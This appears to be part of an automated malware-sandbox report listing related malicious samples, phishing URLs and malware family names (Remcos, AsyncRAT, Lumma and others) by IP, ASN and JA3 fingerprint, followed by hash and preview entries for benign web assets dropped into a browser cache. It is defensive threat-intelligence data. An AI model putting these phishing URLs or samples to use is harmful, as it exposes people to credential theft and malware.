	SecuriteInfo.com.Exploit.CVE-2017-11882.123.26006.17204.rtf	Get hash	malicious	Remcos	Browse	185.199.111.133
	dvswiftsend_240917122612_9331095243.docx.doc	Get hash	malicious	Remcos	Browse	185.199.111.133
	4xBq1SMyQt.exe	Get hash	malicious	XWorm	Browse	185.199.110.133
	http://gasbot-demos.vercel.app/	Get hash	malicious	Unknown	Browse	185.199.109.133
	https://33357.github.io/uniswap-v2	Get hash	malicious	Unknown	Browse	185.199.108.133
github.githubassets.com	https://rajkamalkanna.github.io/Facebook-Login-Page/	Get hash	malicious	HTMLPhisher	Browse	185.199.110.154
	http://metauscvxlkogimens.gitbook.io/	Get hash	malicious	HTMLPhisher	Browse	185.199.109.154
	https://krakenqplogin.gitbook.io/us/	Get hash	malicious	HTMLPhisher	Browse	185.199.109.154
	https://metamasunklogin.gitbook.io/	Get hash	malicious	HTMLPhisher	Browse	185.199.109.154
	https://vinitk1509.github.io/NETFLIX	Get hash	malicious	HTMLPhisher	Browse	185.199.109.154
	https://trezor-docs-info.github.io/	Get hash	malicious	HTMLPhisher	Browse	185.199.109.154
	https://metmaskiloi.gitbook.io/us/	Get hash	malicious	HTMLPhisher	Browse	185.199.110.154
	http://sis030.github.io/1_Netflix_Deepdive/	Get hash	malicious	HTMLPhisher	Browse	185.199.109.154
	https://telagremn.com/	Get hash	malicious	Unknown	Browse	185.199.108.154
	https://arjunshaw.github.io/4.7-Project-1-Netflix-/	Get hash	malicious	HTMLPhisher	Browse	185.199.111.154
github.com	Request For Quotation.js	Get hash	malicious	STRRAT	Browse	140.82.121.4
	Request For Quotation.js	Get hash	malicious	STRRAT	Browse	140.82.121.4
	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	140.82.114.3
	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	140.82.121.3
	http://metauscvxlkogimens.gitbook.io/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://krakenqplogin.gitbook.io/us/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://metamasunklogin.gitbook.io/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	file.exe	Get hash	malicious	Unknown	Browse	18.245.31.40
	https://tracking.groovesell.com:443/t/1c336171327d66d10a047ef8cbabb880	Get hash	malicious	Unknown	Browse	52.222.232.30
	http://email.app.loyalty.appstle.com/c/eJwczE2uLBEUAODVMHty6vgfGLxJ7YNCldsaadKJ3d_kbuCLDpJVWtPkDo1aHlqApo_j-QrGx0NGE5VRkkMwCbUEaa334GlxCCjAogErldDsyjIGyVXM-UCInAjwY7Dat69rMz_GXDWxq79pdc9aYxL-n-BJ8KylvUpjoXSC5_2T2iwlljsRPOnHhc--S1VIBHzvyVp-sdbpchGMyvkfJvbe8-mj5P2nfx3-BgAA__-UbkEq	Get hash	malicious	Unknown	Browse	108.156.60.3
	https://ck.storematch.jp/bc?d=11044D9580EY4W1C2FD019VB3VD27BCW862C0351F9E0EA8-cdlaq4&B=a4f71fd1c235a114f94297e8a0a36c6e&sc_i=shp_pc_promo_mdRMBP_disp_mcad&rd=//interglobalcargoexpress.com/yuuuii#aW5mb0B2b3NzbG9oLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	52.194.38.7
	https://magical-variation-300980.framer.app/	Get hash	malicious	HTMLPhisher	Browse	3.160.150.29
	https://magical-variation-300980.framer.app/	Get hash	malicious	HTMLPhisher	Browse	3.160.150.29
	https://www.netigate.se/a/s.aspx?s=1236726X450166796X50614	Get hash	malicious	Unknown	Browse	108.138.7.21
	https://linke.to/pkmlogistics	Get hash	malicious	Unknown	Browse	108.138.26.113
	cron.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	Tonincasa Updated Employee sheet .pdf	Get hash	malicious	HTMLPhisher	Browse	52.18.22.232
FASTLYUS	Payment_Notification-Sep27.html	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	factura proforma .docx.doc	Get hash	malicious	Remcos	Browse	185.199.109.133
	https://www.google.com.ai/amp/clck.ru/3DSSCz?hghghghHGVGvbbgffGFHGJdgddghfhghfgdgdgdgfhgg?sdfsewsrewrettfg	Get hash	malicious	GRQ Scam	Browse	151.101.2.208
	https://ck.storematch.jp/bc?d=11044D9580EY4W1C2FD019VB3VD27BCW862C0351F9E0EA8-cdlaq4&B=a4f71fd1c235a114f94297e8a0a36c6e&sc_i=shp_pc_promo_mdRMBP_disp_mcad&rd=//interglobalcargoexpress.com/yuuuii#aW5mb0B2b3NzbG9oLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://www.curiosolucky.com/dos/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://magical-variation-300980.framer.app/	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://magical-variation-300980.framer.app/	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	INVOICE DUE..xlsx	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://content.app-us1.com/5zbe53/2024/09/30/8d9df716-ca99-47ed-825e-d3a2a0e6cd9e.pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	Tonincasa Updated Employee sheet .pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.65.224
FASTLYUS	Payment_Notification-Sep27.html	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	factura proforma .docx.doc	Get hash	malicious	Remcos	Browse	185.199.109.133
	https://www.google.com.ai/amp/clck.ru/3DSSCz?hghghghHGVGvbbgffGFHGJdgddghfhghfgdgdgdgfhgg?sdfsewsrewrettfg	Get hash	malicious	GRQ Scam	Browse	151.101.2.208
	https://ck.storematch.jp/bc?d=11044D9580EY4W1C2FD019VB3VD27BCW862C0351F9E0EA8-cdlaq4&B=a4f71fd1c235a114f94297e8a0a36c6e&sc_i=shp_pc_promo_mdRMBP_disp_mcad&rd=//interglobalcargoexpress.com/yuuuii#aW5mb0B2b3NzbG9oLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://www.curiosolucky.com/dos/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://magical-variation-300980.framer.app/	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://magical-variation-300980.framer.app/	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	INVOICE DUE..xlsx	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://content.app-us1.com/5zbe53/2024/09/30/8d9df716-ca99-47ed-825e-d3a2a0e6cd9e.pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	Tonincasa Updated Employee sheet .pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.65.224
GITHUBUS	Request For Quotation.js	Get hash	malicious	STRRAT	Browse	140.82.121.4
	Request For Quotation.js	Get hash	malicious	STRRAT	Browse	140.82.121.4
	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	140.82.114.3
	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	140.82.121.3
	https://rajkamalkanna.github.io/Facebook-Login-Page/	Get hash	malicious	HTMLPhisher	Browse	140.82.113.21
	http://metauscvxlkogimens.gitbook.io/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://krakenqplogin.gitbook.io/us/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://metamasunklogin.gitbook.io/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://vinitk1509.github.io/NETFLIX	Get hash	malicious	HTMLPhisher	Browse	140.82.121.5
	https://trezor-docs-info.github.io/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Purchase Order IBT LPO-2320.eml	Get hash	malicious	Unknown	Browse	185.199.111.133 140.82.121.4
	https://timetraveltv.com/actions/cart_update.php?currency=GBP&return_url=https://blog.acelyaokcu.com/m/?c3Y9bzM2NV8xX29uZSZyYW5kPVdrcFNRMHM9JnVpZD1VU0VSMDkwOTIwMjRVMTIwOTA5MDE=N0123N%5BEMAIL	Get hash	malicious	Unknown	Browse	185.199.111.133 140.82.121.4
	3140, EUR.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.199.111.133 140.82.121.4
	UhkzPftQIt.exe	Get hash	malicious	ScreenConnect Tool	Browse	185.199.111.133 140.82.121.4
	7LC2izrr9u.exe	Get hash	malicious	ScreenConnect Tool	Browse	185.199.111.133 140.82.121.4
	UhkzPftQIt.exe	Get hash	malicious	ScreenConnect Tool	Browse	185.199.111.133 140.82.121.4
	mrKs8EKXbz.exe	Get hash	malicious	ScreenConnect Tool	Browse	185.199.111.133 140.82.121.4
	7LC2izrr9u.exe	Get hash	malicious	ScreenConnect Tool	Browse	185.199.111.133 140.82.121.4
	https://metrics.send.hotmart.com/v2/events/click/64ec6af4-7b81-4abf-9e97-fe7d70d45255?d=1nFwG70sgZqlXE	Get hash	malicious	Unknown	Browse	185.199.111.133 140.82.121.4
	Shipping documents 000029393994400000000000.exe	Get hash	malicious	AgentTesla	Browse	185.199.111.133 140.82.121.4
37f463bf4616ecd445d4a1937da06e19	Payment Advice Note_Pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse	185.199.110.154
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.199.110.154
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.199.110.154
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.199.110.154
	z1Quotation.scr.exe	Get hash	malicious	Remcos, GuLoader	Browse	185.199.110.154
	1727684587d91a3fc4a77823bfb5c4c41b9d6c0bff84ae126bd19290c7e03bed994fdb4477364.dat-decoded.exe	Get hash	malicious	CryptOne, Snake Keylogger, VIP Keylogger	Browse	185.199.110.154
	Gelato Italiano_74695.exe.exe	Get hash	malicious	Unknown	Browse	185.199.110.154
	Gelato Italiano_74695.exe.exe	Get hash	malicious	Unknown	Browse	185.199.110.154
	Bnnebgers.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	185.199.110.154
	NTS_eTaxInvoice.html.vbs	Get hash	malicious	Remcos, GuLoader	Browse	185.199.110.154

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	49120
Entropy (8bit):	0.0017331682157558962
Encrypted:	false
SSDEEP:	3:Ztt:T
MD5:	0392ADA071EB68355BED625D8F9695F3
SHA1:	777253141235B6C6AC92E17E297A1482E82252CC
SHA-256:	B1313DD95EAF63F33F86F72F09E2ECD700D11159A8693210C37470FCB84038F7
SHA-512:	EF659EEFCAB16221783ECB258D19801A1FF063478698CF4FCE3C9F98059CA7B1D060B0449E6FD89D3B70439D9735FA1D50088568FF46C9927DE45808250AEC2E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\3m-0151c2fda0ce[1].svg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1043
Entropy (8bit):	4.66843647495859
Encrypted:	false
SSDEEP:	24:tDbb8B9h4XYpLNdhVTBQxpIGxH33PDKXI2nVTYvGSpZKXG9/:eXh4XYpLLmAeHPOXFVsejXGN
MD5:	A291946F2D306B03108EF39D48237036
SHA1:	7B9709D14EAC1994B6B4A626F31A512B94F5AFC4
SHA-256:	8BAB271609E5763CBE4891F8E4D94F39BD6D98E880CE26C711D048648A9198B5
SHA-512:	0151C2FDA0CEC38B9CB948E1BB39C95EDC3AD35EF6C0D5892AABA844E851E7837563BF25DCBE69092F53DD364B70106DEB88F0BAD8A17DEDDD8D44EE3E7089B2
Malicious:	false
Preview:	<svg fill="none" height="48" viewBox="0 0 61 48" width="61" xmlns="http://www.w3.org/2000/svg". xmlns:xlink="http://www.w3.org/1999/xlink">. <clipPath id="a">. <path d="m0 0h60.2099v48h-60.2099z" />. </clipPath>. <g clip-path="url(#a)">. <path. d="m42.2721 27.5456-5.5276-19.5456h-12.4103v5.238c-1.6171-3.1391-5.5229-5.02255-10.9694-5.02255-6.39861 0-12.10454 3.00475-12.410337 10.05895h8.187067c.26178-2.1777 1.82787-3.2642 3.96147-3.2642 1.7838 0 3.5677.7367 3.5677 2.7429 0 2.8704-3.0024 3.1322-5.3978 3.1322v5.3584c2.1753 0 5.6596.3035 5.6596 3.3962 0 1.7838-1.3947 3.57-4.0472 3.57-2.8287 0-4.35305-1.7005-4.35305-4.5268h-8.53225c0 7.5315 5.26808 11.3169 12.408 11.3169 5.56 0 9.7578-1.6912 11.9285-4.9623v4.3136h9.2319v-10.6265c0-2.5275-.3498-6.7484-.6533-9.4913h.088l5.7013 20.1155h7.1399l5.7013-20.1155h.0881c-.3915 3.6116-.6533 7.0102-.6533 10.5338v9.5794h9.2295v-31.3467h-12.4057zm-17.9379-2.8355c-.7112-.7947-1.6286-1.4317-2.7406-1.865 1.2649-.6208 2.1614-1.4641 2.7406-2.50

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\behaviors-b32b736e8b72[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (36842)
Category:	dropped
Size (bytes):	238778
Entropy (8bit):	5.2053702581714925
Encrypted:	false
SSDEEP:	3072:uiww2EN0duaoeb/oViBocFzYjuSXIcSuMX4BuP9vXCOv:X2ENcV/QiuuX4BuP9fv
MD5:	82FBBAA711F6C7394D037D08DFF86EA1
SHA1:	A54BBBA7F332A50BBBEEAE88E40B12324A83956A
SHA-256:	8F33909B5FEB2BE4BFD50663A69B226CEB0691107ACA0D7A5EAB3B9D5F3F973A
SHA-512:	B32B736E8B72FF942E1C6882837060028C2A24CB224416BA7AAB6EAB0217B5F120198D43888F5D5A7F34ACB6D8AE9C12021FC44CE982B404434E381EE77E6C6A
Malicious:	false
Preview:	(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["behaviors"],{58149:(e,t,n)=>{"use strict";let r,i,a,o,s,l,c,u,d,m,f;var h,p,g=n(57765),b=n(97797);(0,b.on)("deprecatedAjaxSend","[data-remote]",function(e){e.currentTarget!==e.target\|\|e.defaultPrevented\|\|e.currentTarget.classList.add("loading")}),(0,b.on)("deprecatedAjaxComplete","[data-remote]",function(e){e.currentTarget===e.target&&e.currentTarget.classList.remove("loading")});var y=n(13937);(0,y.JW)("form.js-ajax-pagination, .js-ajax-pagination form",async function(e,t){let n;let r=e.closest(".js-ajax-pagination");try{n=await t.html()}catch(e){if(e.response&&404===e.response.status){r.remove();return}throw e}r.replaceWith(n.html),(0,b.h)(e,"page:loaded")});var v=n(51848),w=n(97156);let{getItem:S}=(0,n(74572).A)("localStorage");(0,b.on)("click","[data-analytics-event]",e=>{if(w.XC?.head?.querySelector('meta[name="is_logged_out_page"]')?.content)return;let t=e.currentTarget.getAttribute("data-analytics-event");if(!t)return

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\bg-glow-purple-6e9a6a96cb04[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 8 x 7, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.478716947115364
Encrypted:	false
SSDEEP:	12:6v/79/6TetewCvROKcVB4o8YVQILRT1gsnQrOpZ6caS5U3+jC/eJNzDDD3QH:k/6YewC4VBNBVQIV1gsQIZ6caS5UaCGO
MD5:	E8C236F6D30CA7E5C26DEDB50D97568C
SHA1:	0E34F22B740F87A06B205D55D22419696C5A95DF
SHA-256:	C8D2206BAC200462B8126417675695829BAEFA7C4664848A9CCA49ACE71EE953
SHA-512:	9FE8CE40CFB979448094557BC2FB252D21ABF8406E3B5987B123242AFA36C0D4BA072BCF79C3A7D592749588EABBFE11428FBB2F92E8B8F8F1EA5274E26366B1
Malicious:	false
Preview:	.PNG........IHDR.............5Y.^....pHYs................eiCCPDisplay P3..x.u..K.P..O.R.:....2.C...vqh+.E0T..S.~.m\|$)Rq.W)..X.Yp..Tpqp.D...:).hx.T."....8.s.\..P.+..(.L....{...S.f...,.........O.YM.v..O\....v..S..]......A.......m...%.1h).......;..d...X..j..I,.;.\|...e......W....Q.a.&..PQ.......?.-rW`P...,.DI......a.2q.A.s.~....mm...mp./..B.8......x....n.L5TG...r...0....(.a..!w{...{..c....v..#......+...!.6....IDATx...=..@.D..dED.S.i..>9........'....+.!`~t...80......Z+Y..c$.....0"b..=.e....1_.e.+....@F..w....80...:.......%..X4.'.-*. ..F....... ..4u.b.?r,h.......e..3.....>.e._.....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\dashboard-a70f6c490d6e[1].css

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (9537)
Category:	dropped
Size (bytes):	9631
Entropy (8bit):	4.9019195589235105
Encrypted:	false
SSDEEP:	96:MeqD9iimIMD4duGaX9hEEtEYrX9cZEdEo2Wv+vXFWe7tLO3uhJLikzXAC:MtDhMDi4Xxj5EV31AC
MD5:	CCDAA17ACCC745DB64E1500A711B178A
SHA1:	D9A71D1536DDEE0C1C45AA0A88469DDA1E424766
SHA-256:	81AAE6B9C666E170CAE8E2D5161EB832F2CBEA97A07908E0307A69FC32A7C6D6
SHA-512:	A70F6C490D6E81931A1BDE7888FC132E058B4595A8F99836C83294DFC0CE77CF0606700C570DC09D0530726BF075B52877B567B3EFB8D02F0FC3F40E13D6ADD3
Malicious:	false
Preview:	.billing-manager-banner{padding:var(--base-size-32) var(--base-size-16);margin-bottom:var(--base-size-32);overflow:hidden;background:var(--bgColor-muted, var(--color-canvas-subtle));border-bottom:var(--borderWidth-thin) solid var(--borderColor-muted, var(--color-border-muted))}.billing-manager-banner .container{position:relative}.billing-manager-banner-text{margin-left:210px;font-size:14px;color:var(--fgColor-muted, var(--color-fg-muted))}.billing-manager-banner-text .btn{margin-top:var(--base-size-8);margin-right:var(--base-size-8)}.billing-manager-banner-title{font-size:12px;font-weight:var(--base-text-weight-semibold, 600);color:var(--fgColor-muted, var(--color-fg-muted))}.billing-manager-icon{position:absolute;top:-35px;left:0;width:180px;height:180px;font-size:180px;color:var(--fgColor-muted, var(--color-fg-muted))}.dashboard-changelog .octicon.octicon-dot-fill{fill:var(--borderColor-default, var(--color-border-default))}.dashboard-changelog .TimelineItem-badge{margin-left:-15.5px

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\dayhaysoos-c50659cac73b[1].jpg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 192x192, components 3
Category:	dropped
Size (bytes):	6361
Entropy (8bit):	7.9018785370091225
Encrypted:	false
SSDEEP:	96:WhWBqX5UF+X/ijyIlh70BiTf7Mr0TJ1JkO6pN9KOU66nU8L5/GUsp9/ApsC:EWcX5u+PEhlh9LSwkOYN9KOyt/sIf
MD5:	B263D49F7243431BA178B0F9CD8B1C90
SHA1:	E1ECC96696E5410DE5FD58CD9A70DA62DB13BF60
SHA-256:	E7D3D49C19B7253858E17EE6576E80300144278F1E6E4117B0F23A6BD9E4E449
SHA-512:	081BD060FBA39A55DD0466872DAF6B14CAC31C42B7955B74D8C6ABE7B343F6529D5490EFF6BF2085BCCA77B86CD3E8AF5FB33C6E22248F9CFD403B5C24549D19
Malicious:	false
Preview:	......JFIF................................................. $.' ",#..(7),01444.'9=82<.342...........2!.!22222222222222222222222222222222222222222222222222..........."................................................T.$.$.I&L..I2I2Ir.t.3XI&I&IP.,.......I$..2..=.........I...{Ji..SgB....T......,O"7.D.h..Q....`+.#....3.+...%......!T...K0K.;.........K@M69.../!....3.v...@...Q.KU..b.\.ice.[n,o.>.<.(^..w&l......\.c.t..j......:{T.../.Sks...gn./...@....bx<E......[.....\|..).m...++e)..h....w.r..7..2;..{.,.zu..k....,.;....).>........S.<"........+..._.8.c...&...E..f.6...\|..m.M./..>.0.5..5.....#.EA.....{7..W.......(....X]....!.*.<..1.c.H........I.'.d..].}3.......................................40....Cs.@3..Z:..l.t4!........I..nF..%W...j..o..R....!-g`..m....vp........................................B.i.......A.P....E"...8A.B[.5.&.iN..r....%...j..Fv....H.......?...<.........................!1."AQq...#2a 3B.4R...$0br...P...........?.......v.n...G...b ...2...=k.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\element-registry-f52a50a0449b[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (55142)
Category:	dropped
Size (bytes):	55200
Entropy (8bit):	4.954115858199183
Encrypted:	false
SSDEEP:	768:d7YE9KmoOXbBO8ONO8O8OuOdiW5ZFN4N+2aKjvkZF5atKP:d7YEr12H3u
MD5:	A4541AB4FEA8BC66786161898C040048
SHA1:	13730BCF85FBCEC4D5EFFFBCCE6D0DCF771ACA7E
SHA-256:	BAC7FE843D6F803BFE48AF7E4BDB372DEF278742108F016A5C558F24F530E802
SHA-512:	F52A50A0449B4F860F5534FB1B52396B03E49A83EE65A20D806E85ADB2C046747E9587AF796AA48259660CF24F15A0586D91907959F92D7462BABC5DEEF3D488
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["element-registry"],{91032:(e,s,t)=>{var _=t(39595);(0,_.Se)("animated-image",()=>Promise.all([t.e("vendors-node_modules_dompurify_dist_purify_js"),t.e("vendors-node_modules_github_hydro-analytics-client_dist_analytics-client_js-node_modules_gith-f3aee1"),t.e("ui_packages_failbot_failbot_ts"),t.e("node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_stack-tra-b6d924")]).then(t.bind(t,60806))),(0,_.Se)("launch-code",()=>t.e("app_components_account_verifications_launch-code-element_ts").then(t.bind(t,50734))),(0,_.Se)("actions-caches-filter",()=>Promise.all([t.e("vendors-node_modules_dompurify_dist_purify_js"),t.e("vendors-node_modules_primer_behaviors_dist_esm_index_mjs"),t.e("vendors-node_modules_github_selector-observer_dist_index_esm_js"),t.e("vendors-node_modules_lit-html_lit-html_js"),t.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_hotkey_dist_index_

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\experiments-d77f07364a5f[1].css

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (3554)
Category:	dropped
Size (bytes):	3656
Entropy (8bit):	4.979105622480694
Encrypted:	false
SSDEEP:	24:hSCM9gtDSCMqg7RrSCMqmZ9gtzmZqg7RrmZqKFkaeAy6GWGoF:gv+7A1
MD5:	F8F7F0C92A485D9F36C057F2AE9793DA
SHA1:	02F90CFB27D1B7A8C68233E1F982A6FF1A9141FA
SHA-256:	68B4811EF414847ADE0E82E7427128079288029E2465F26F1A7942B93409322A
SHA-512:	D77F07364A5FE797C4E46D6693F04F3E392683F1312AB23503C4CD921FD73C8451F3AA726F829BAF2E1F9C303834E73F9AABDD122105F4A497108BE608D56B06
Malicious:	false
Preview:	[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-mktg-btn-shadow-outline:rgba(255, 255, 255, 0.25) 0 0 0 1px inset;--color-mktg-btn-bg:#f6f8fa;--color-mktg-btn-shadow-focus:rgba(255, 255, 255, 0.25) 0 0 0 4px;--color-mktg-btn-shadow-hover:0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted:white 0 0 0 2px inset}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-mktg-btn-shadow-outline:rgba(255, 255, 255, 0.25) 0 0 0 1px inset;--color-mktg-btn-bg:#f6f8fa;--color-mktg-btn-shadow-focus:rgba(255, 255, 255, 0.25) 0 0 0 4px;--color-mktg-btn-shadow-hover:0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\footer-mona-d1c861cd8018[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 491 x 491, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	24094
Entropy (8bit):	7.933240759135901
Encrypted:	false
SSDEEP:	384:Z5yv9+GyRVWcpICQTWey4c8VagDCXehwL+irZzrHJtHzJPAuBBZOXSmKSQq+:Z5yIv6cpIRTWe9aqCXej+R1tHd5ZFm+
MD5:	430E2D2B75C76E19738B9C3A83142430
SHA1:	463A8593C9B2741222110A76829B6BEC7FF4D529
SHA-256:	C1E554F3E495FE5CB56436DBD30ACB87693A18403AAD26259EC8ECE196AE7299
SHA-512:	76E3A4193E18A7A0568C0E1EDB02E37C75ABC23B40A74A8C0795381834481FB348B7EFA7D96739B8758DC5E4B9C90D15A07F61B36D701D9BD176300FAE49A1CF
Malicious:	false
Preview:	.PNG........IHDR..............-E.....PLTE...Jx..h....\..N..V..R........U..K..S..........j.....R.......W.............p........Mv..=..=..k..A..U..H..N..\..c..:..4.j..E..G.....C..A..H...'..+...:.$.T..@..L..W....6...R....P[.._....EO...!......\...d....f.....0:..........&....3.........q..=..,..z......=..:z....^.j........F...Q..5r.U.w.).f.^;..s.S......N..C...p.."O.......D..m.....K....v.$24j....r.l..q w..'X..~.B.V...../k.:..5v....a.._..WZ.......r./......K...j..&.y..1L.Y.4>H...5u...Q..wd.%.. Z.(0:K..$K_+[q.....^.?.E......O.0g.AMRL\`!5b..l+g.....O..g.D...J....;..B..4y.!a.Jd{&d..,.K..Yji8v.S...B.m.....Fx....2..Q.+P."S..{..zbuu.:..>...V....A..9Kf.F..S.z..Di....0?..7.7]..n..0..)...m.{kx.FS..1..#.w.....S..\..Yf.f.\|...0>\|.......9J.Z..X..x....l..e..f..Rb.t..:O.gt....x..>W.Uj.gx.....H....A...."tRNS...".;.by........?R.y.n`...........6..Z.IDATx.....0.C....f.:....$.%.;.................................r.ka...R{.G..............Z.K..0.+.....w.,N.q....*.@ct!.b........J..1."D

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\illu-copilot-editor-6474457a5b19[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 2496 x 1302, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	241485
Entropy (8bit):	7.994806372211303
Encrypted:	true
SSDEEP:	6144:t9KSd0nic+yvxog7nBXKGHdTbOXVg3I5d/Qx7cX0:7H5kxogLAGHdH4g/w0
MD5:	3A3CF52F53F8577C78E66BFC15978158
SHA1:	324B5B2C607239DF8CB04F0F44BF4E6656FF7840
SHA-256:	FC5BAA051C20114C21A63F276E7EECB339E139DFC6096EA8ACDE15C60AD6FA3A
SHA-512:	27E461C76CBF8313AE24358658A5ACDABB278470F7147E4423C5E268BCDFF70D8EAED739D2D310FE0DDBFBDD5CCDD6E3C77735D87250FD4D6284FCCF8F885438
Malicious:	false
Preview:	.PNG........IHDR...............r%....PLTE.......';.'<.%: &..yx....4;.yeILO.pp8<K.........&1D5G[$7K~eiiw.[PZIFS...z...r...%.,@VY_./C.#.utXgz...GXje....&$'ddx.m\BFImZa-28&1B..#/6RLW.jm:>CO<8;00NRX/7G...P_r.aT',3.>S>AGu`e-...p.AAO48>cIBIFR.."GVjjlowUKEIL%10..cV_.0F>Oa...`o.lZb7<B.i..tb6:X...l[a...%0Iux{...cV][..r..nOGMPTy`.....9Paei[^a$5JDHOyz\|%:GIDhiW..gX7JS(Jc...WMu.@[prx0+Ez....0\wQ.....m[bn~y,y.E55}..IZ`.g.}ei.[O)n.XC=...q..`o.#On[lk`..<l.aEd;/B.n."V~...2f.%a.'#1.GUcgm.[.XB=y}..........Ua.sx-5P-BMV..Qce_Q\|uPv.ckL..M9S...csqZ[lW?[\|\|....9....IDATx...]j.@......... ...t.;jii.$.._..D.e..].d:....F+....\.......b;;........T...^.9'j..*p..>..t.............a`.8.........1...Xs{DF.....l........,!....T..M..w..^.8......9b...pP......-'OO.(p..[......_..e.K.....V.&Y_...z)....X.v..........#.....7....qN..../][.../....9...e............9o......gyi../p}ypn.3......C..it.Iu....ibn.........#..CQ......R........T.H<_.. ..N..Y...d../.q.-........:..9e......p..[...[.....!.\|....n)...u.1..-...$

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\illu-pull-requests-2-280cc958fc05[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
